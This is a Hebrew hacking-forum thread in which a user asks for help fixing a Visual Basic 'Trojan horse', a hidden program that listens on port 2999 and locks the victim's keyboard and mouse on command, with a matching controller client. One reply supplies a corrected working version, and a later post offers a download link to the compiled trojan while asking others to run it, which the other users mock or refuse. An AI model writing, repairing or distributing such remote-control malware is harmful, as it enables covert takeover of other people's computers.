[vb] סוס טוראני

[xush]

חבר שלי בנה סוס טורייני והוא ביקש שאני יבקש עזרה בפורום אטרף
הסוס נבנה בVB
כשהוא מנסה לשמור אותו התוכנה אומרת לו שיש לו בעיה בקוד
הינה הקוד:

Private Sub Form_Load()
Me.Visible = False
End Sub
Private Sub Form_Load()
End Sub
Me.Visible = False
App.TaskVisible = False
End Sub
Private Sub Form_Load()
End Sub
Me.Visible = False
App.TaskVisible = False
Win.LocalPort = 2999
Win.RemotePort = 455
Win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long)
Win.Close
Win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
Win.GetData GotDat
DoActions (GotDat)
End Sub
Public Function DoActions(x As String)
End Function
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function
Private Sub Form_Load()
End Sub
Me.Visible = False
App.TaskVisible = False
Win.LocalPort = 2999
Win.RemotePort = 455
Win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by bar
Win.Close
Win.Accept
requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
Win.GetData GotDat
End Sub
DoActions (GotDat)
End Sub
Module
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Function DoActions(x As String)
End Function
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function
Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
Win.SendData "block"
End Sub

תודה לעוזרים

[B1ackSn0w]

הבעיה היא שיש פה הרבה אירועים שחוזרים על עצמם, והרבה sub שנסגרים לפני התוכן של הפקד, ואז הקוד כתוב באיזור הגלובל במקום בפקד עצמו.
הקוד הנכון הוא:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Win.LocalPort = 2999
Win.RemotePort = 455
Win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long)
Win.Close
Win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
Win.GetData GotDat
DoActions (GotDat)
End Sub

Public Function DoActions(x As String)
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function



Module
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Function DoActions(x As String)
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdBlockInput_Click()
Win.SendData "block"
End Sub

[xush]

הוא אמר לי שזה לא מבין את שורה 9 אתה יכול לסדר את זה?

[BarSexy]

אחי תודה שאתה מתקן את הסוס טרוייני.
לא מבין את שורה 9 תו 51
http://www.f2h.co.il/5284761469811
(תוריד תיראה בעצמך)
נ.ב-אני בניתי אותו ב-Visual Basic

[Darkiller2008]

^חחח, שיוריד סוס טרוייני למחשב כדי שיבדוק תקוד XD.

[m4u]

למה נראה לך שנוריד סוס טרויאני?
אולי תראה את הקוד בצורה מסודרת יותר?